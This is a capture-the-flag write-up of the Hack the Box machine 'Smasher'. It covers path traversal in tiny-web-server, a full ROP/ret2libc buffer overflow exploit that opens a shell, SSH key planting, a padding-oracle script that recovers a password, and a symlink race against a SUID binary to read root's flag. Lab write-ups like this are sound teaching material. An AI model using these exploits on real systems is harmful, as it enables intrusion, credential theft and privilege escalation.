Linux / 10.10.10.89

This blog post is a writeup of the excellent Hack the Box machine created by dzonerzy.
Summary
- The webserver used is vulnerable to a path traversal bug and buffer overflow in the GET parameter
- By using the path traversal bug we can get the Makefile and copy of the webserver executable
- The buffer overflow can be solved by leaking libcโs base address and then building a ropchain to ret2libc
- To gain user, we have to solve an Oracle padding challenge that gives us the user password
- Priv esc is a race condition in a suid root ELF binary, we can swap out the file with a symlink to /root/root.txt to get the root flag
Tools used
- pwntools
- https://libc.blukat.me/
- https://github.com/twd2/padding-oracle-attack/blob/master/attack.py
Nmap
Quick port scan reveals a webserver running on a non standard port 1111.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/hackthebox# nmap -sC -sV 10.10.10.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-11 20:09 EDT
Nmap scan report for 10.10.10.89
Host is up (0.017s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:23:c5:7b:f1:1f:df:68:25:dd:3a:2b:c5:74:00:46 (RSA)
| 256 57:81:a5:46:11:33:27:53:2b:99:29:9a:a8:f3:8e:de (ECDSA)
|_ 256 c5:23:c1:7a:96:d6:5b:c0:c4:a5:f8:37:2e:5d:ce:a0 (ED25519)
1111/tcp open lmsocialserver?
| fingerprint-strings:
| FourOhFourRequest, GenericLines, SIPOptions:
| HTTP/1.1 404 Not found
| Server: shenfeng tiny-web-server
| Content-length: 14
| File not found
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Server: shenfeng tiny-web-server
| Content-Type: text/html
| <html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
| <tr><td><a href="index.html">index.html</a></td><td>2018-03-31 00:57</td><td>2.1K</td></tr>
|_ </table></body></html>
Web service
Based on the banner, we know the website is running using the tiny-web-server server application.
Thereโs already an issue documented for this application about a path traversal vulnerability.
We can walk the file system by doing a GET ../../../../<file>, and it also works for directories so we can get a directory listing.
I wrote a small python script to fix the output and sort the results to make it easier to work with:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
from pwn import *
import sys
import requests
context.log_level = 'info'
ls = []
r = requests.get('http://10.10.10.89:1111/../../../../../%s' % (sys.argv[1]))
if '<tr>' in r.text:
for line in r.text.splitlines():
if '<tr>' in line:
# print(line.split('"')[1])
ls.append(line.split('"')[1])
for i in (sorted(ls)):
print(i)
else:
print r.text
We find the list of users in /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@kali:~/hackthebox/Machines/Smasher# python scanner.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
www:x:1000:1000:www,,,:/home/www:/bin/bash
smasher:x:1001:1001:,,,:/home/smasher:/bin/bash
www and smasher home directories are probably where we want to look next:
We canโt read the home directory of smasher:
1
2
root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/smasher
File not found
But we can read whatโs in www:
1
2
3
4
5
6
7
8
9
root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www
.bash_logout
.bashrc
.cache/
.profile
.python_history
.ssh/
restart.sh
tiny-web-server/
Inside the web server directory, we can see that the Makefile has been modified to disable the stack protector and DEP/NX. This is our hint that we are probably looking at a buffer overflow exploit to get user access on this machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www/tiny-web-server
.git/
Makefile
README.md
public_html/
tiny
tiny.c
root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www/tiny-web-server/Makefile
CC = c99
CFLAGS = -Wall -O2
# LIB = -lpthread
all: tiny
tiny: tiny.c
$(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
clean:
rm -f *.o tiny *~
Next, weโll grab the binary file and check if itโs compiled with additional protections:
1
2
3
oot@kali:~/hackthebox/Machines/Smasher# nc -nv 10.10.10.89 1111 > tiny
(UNKNOWN) [10.10.10.89] 1111 (?) open
GET ../../../../home/www/tiny-web-server/tiny
We edit the file with vi and strip the HTTP headers, then we get a clean ELF file:
1
2
3
4
5
6
7
8
9
10
11
root@kali:~/hackthebox/Machines/Smasher# file tiny
tiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b872377623aa9e081bc7d72c8dbe882f03bf66b7, with debug_info, not stripped
root@kali:~/hackthebox/Machines/Smasher# checksec tiny
[*] '/root/hackthebox/Machines/Smasher/tiny'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
FORTIFY: Enabled
Buffer overflow
Thereโs an overflow in the GET parameter: if we send more than 568 characters in the GET request itโll crash. Because we have the binary and we can look around the file system we can:
- Check the PLT/GOT offsets in the binary
- Determine the libc version running on the target system
To find the libc base address, weโll construct a rop chain and use the read function already present in the PLT. By chance, the RDX register is already set to a large value so we donโt need to find a gadget to mess with it. The binary contains POP RDI and POP RSI gadgets so we can pass the right parameters to the read function and dump a chunk of memory.
Calculating the libc address is a matter of fetching the read address from the GOT, then substracting its offset (which we know because we have the libc version). After, weโll calculate the memory address for system, dup2 and the /bin/sh string.
We need to build a ROP chain that calls dup2 first so we can redirect stdin and stdout to the socket.
The final exploit is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
from pwn import *
import urllib
import sys
r = remote('10.10.10.89', 1111)
fd = 4
offset = 568
junk = p64(0xAABBAABBAABBAABB)
plt_read = p64(0x400cf0)
plt_write = p64(0x400c50)
poprdi = p64(0x4011dd)
poprsi = p64(0x4011db)
payload_stage1 = ''
payload_stage1 += 'A' * offset
payload_stage1 += poprdi + p64(fd)
payload_stage1 += poprsi + p64(0x603088) + junk
payload_stage1 += plt_write
r.send('GET /%s\n\n' % urllib.quote(payload_stage1))
buf = r.recv().split('File not found')[1][0:8]
read_addr = u64(buf)
libc_base = read_addr - 0xf7250 # https://libc.blukat.me/?q=_rtld_global%3A0&l=libc6_2.23-0ubuntu10_amd64
system_addr = libc_base + 0x45390
str_bin_sh = libc_base + 0x18cd57
dup2 = libc_base + 0xf7970
log.info('libc base address is: %s' % hex(libc_base))
log.info('read address is : %s' % hex(read_addr))
log.info('system address is: %s' % hex(system_addr))
log.info('dup2 address is: %s' % hex(dup2))
log.info('/bin/sh address is: %s' % hex(str_bin_sh))
r2 = remote('10.10.10.89', 1111)
payload_stage2 = ''
payload_stage2 += 'A' * offset
payload_stage2 += poprdi + p64(fd)
payload_stage2 += poprsi + p64(0x0) + junk
payload_stage2 += p64(dup2)
payload_stage2 += poprdi + p64(fd)
payload_stage2 += poprsi + p64(0x1) + junk
payload_stage2 += p64(dup2)
payload_stage2 += poprdi + p64(str_bin_sh)
payload_stage2 += p64(system_addr)
r2.send('GET /%s\n\n' % urllib.quote(payload_stage2))
r2.recvuntil('File not found')
r2.interactive()
The exploit in action:
1
2
3
4
5
6
7
8
9
10
11
root@kali:~/hackthebox/Machines/Smasher# python exploit.py
[+] Opening connection to 10.10.10.89 on port 1111: Done
[*] libc base address is: 0x7f561f10e000
[*] read address is : 0x7f561f205250
[*] system address is: 0x7f561f153390
[*] dup2 address is: 0x7f561f205970
[*] /bin/sh address is: 0x7f561f29ad57
[+] Opening connection to 10.10.10.89 on port 1111: Done
[*] Switching to interactive mode
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
After getting that shell, we can add our SSH public key to /home/www/.ssh/authorized_keys so we can log in directly without using the exploit.
1
2
3
4
5
6
7
root@kali:~# ssh www@10.10.10.89
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Jun 12 01:34:47 2018 from 10.10.14.23
Oracle padding
Thereโs a hidden service runnning on port 1337 which prompts for a ciphertext string:
1
2
3
4
5
6
7
8
9
www@smasher:~$ netstat -panut |more
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:1111 0.0.0.0:* LISTEN 29166/tiny
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1338 0.0.0.0:* LISTEN 8562/socat
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
1
2
3
4
5
www@smasher:~$ nc 127.0.0.1 1337
[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Insert ciphertext: test
Generic error, ignore me!
This looks like a challenge which can be solved through an Oracle Padding attack.
To solve this weโll modify the following script: https://github.com/twd2/padding-oracle-attack/blob/master/attack.py
Note: latest version of pwntools needs to be installed for Python3 in order for this to work: pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import sys
import time
import urllib
import urllib.parse
import urllib.request
import random
import argparse
import binascii
from pwn import *
import base64
def api(data):
print(data)
r = remote("10.10.10.89",1338,level='warn')
r.recvuntil("Insert ciphertext: ")
r.sendline(base64.b64encode(binascii.unhexlify(data)))
print(base64.b64encode(binascii.unhexlify(data)))
tmp = r.recvuntil('Insert ciphertext:').decode("utf-8")
r.close()
if 'OK!' in tmp:
return True
if 'Invalid' in tmp:
return False
def is_valid(iv, c):
# Test if the padding of (iv ^ c^(-1)) is valid.
data = binascii.hexlify(bytearray(iv)).decode() + binascii.hexlify(bytearray(c)).decode()
# print(data)
return api(data)
def attack(data, block_id, is_valid):
if 16 * block_id + 32 > len(data):
print('Block id is too large.')
exit(1)
c_p = list(data[16 * block_id:16 * block_id + 16]) # Previous cipher block
iv = [random.choice(range(256)) for i in range(0, 16)] # *Random* initialization vector is necessary.
c = data[16 * block_id + 16:16 * block_id + 32] # Current cipher block
plain = []
for n in range(1, 17): # Which byte (in reverse order)?
for i in range(0, 256): # All possibilities of iv[-n]
iv[-n] = i
if is_valid(iv, c): # Padding is valid, so (iv[-n] ^ c^(-1)[-n]) is n, (iv[-n] ^ n) is c^(-1)[-n].
break
# print(iv[-n] ^ n ^ c_p[-n], chr(iv[-n] ^ n ^ c_p[-n]))
# Calculate plain text.
# Note: (iv[-n] ^ n) is c^(-1)[-n], so ((iv[-n] ^ n) ^ c_p[-n]) == (c^(-1)[-n] ^ c_p[-n]) is (plain text)[-n].
plain.append(iv[-n] ^ n ^ c_p[-n])
for i in range(1, n + 1):
iv[-i] = iv[-i] ^ n ^ (n + 1)
# Note:
# For futher attack,
# For i in [1, n], we want (new iv[-i] ^ c^(-1)[-i]) to be (n + 1), so that we can attack c^(-1)[-(n + 1)] using padding oracle.
# In particular, for i == n, we want (new iv[-n] ^ c^(-1)[-n]) to be (n + 1), so new iv[-n] should be (c^(-1)[-n] ^ (n + 1)) == ((iv[-n] ^ n) ^ (n + 1)).
# In particular, for i in [1, n - 1], we want (new iv[-i] ^ c^(-1)[-i]) to be (n + 1). Please note that (iv[-i] ^ c^(-1)[-i]) is n, so new iv[-i] should be (c^(-1)[-i] ^ (n + 1)) == ((iv[-i] ^ n) ^ (n + 1))
plain.reverse()
return bytearray(plain)
def main():
# Data from http://10.60.0.212:5757/generate
#data_hex = '74b6510402f53b1661b98a2cfee1f1b5d65753e5ca0ccb1356c0ef871a0118bc47c245dcb51dc51efd473e5f63f3a8c94818195d08d01e740f27d07b0893d0cd'
data_hex = '8ab466581ee825231bb410b842ea01d770c2d3c348d3a31b71610e73de2ad0e5cf6df8119be97dc4790f43bafb35d163a3a852a3ab6882a2d8213186a4fb1776'
data = binascii.unhexlify(data_hex)
for i in range(0, 3):
print(attack(data, i, is_valid).decode(), end='')
if __name__ == '__main__':
main()
We can redirect to the local 1337 port using socat: socat tcp-listen:1338,reuseaddr,fork tcp:localhost:1337
Then weโll launch the script against port 1338 and let it run for a bit:
1
python3 oracler.py > oracler_output.txt
A few lines stand out in the output:
1
2
b'utEFLXzYEkBmxXPAN4g253DC08NI06MbcWEOc94q0OU='
user 'smasher' 42eb200bed0f389985bbe43762f1ba00cf6df8119be97dc4790f43bafb35d163
1
2
b'CaH58wii128IH3ksvFujmc9t+BGb6X3EeQ9Duvs10WM='
is: PaddingOraclde1ffb8adbdc35ac24caa42050f32100a3a852a3ab6882a2d8213186a4fb1776
1
2
b'ujCJcv+cH+VbLFWs7SPHdaOoUqOraIKi2CExhqT7F3Y='
eMaster123\x06\x06\x06\x06\x06\x06r
By putting this back together we get: user 'smasher' is: PaddingOracleMaster123
We can log in with that user and get the first flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~# ssh smasher@10.10.10.89
smasher@10.10.10.89's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Jun 12 01:24:51 2018 from 10.10.16.9
smasher@smasher:~$ id
uid=1001(smasher) gid=1001(smasher) groups=1001(smasher)
smasher@smasher:~$ ls
crackme.py socat.sh user.txt
smasher@smasher:~$ cat user.txt
baabc<redacted>
Privesc
Thereโs a SUID file thatโs interesting:
1
2
smasher@smasher:~$ find / -perm /6000 2>/dev/null
/usr/bin/checker
1
2
3
4
smasher@smasher:~$ checker
[+] Welcome to file UID checker 0.1 by dzonerzy
Missing arguments
1
2
smasher@smasher:~$ file /usr/bin/checker
/usr/bin/checker: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=33890d7446199d25dadc438fce63a78c3f377f95, not stripped
Thereโs a race condition in the file because it sleeps for 1 second before reading the file content, so we can exploit this by:
- Creating a dummy file โblahโ with some junk it
- Launch /usr/bin/checker against โblahโ, then sleep for 0.5 seconds
- Delete โblahโ and replace it with a symlink to /root/root.txt
- After the programs comes out of the sleep() function, itโll read root.txt because itโs running as root
1
2
3
4
5
6
7
8
smasher@smasher:~$ rm blah;echo 123 > blah;(/usr/bin/checker blah &);sleep 0.5;rm blah;ln -s /root/root.txt blah
rm: cannot remove 'blah': No such file or directory
[+] Welcome to file UID checker 0.1 by dzonerzy
smasher@smasher:~$ File UID: 1001
Data:
077af<redacted>
Flag: 077af<redacted>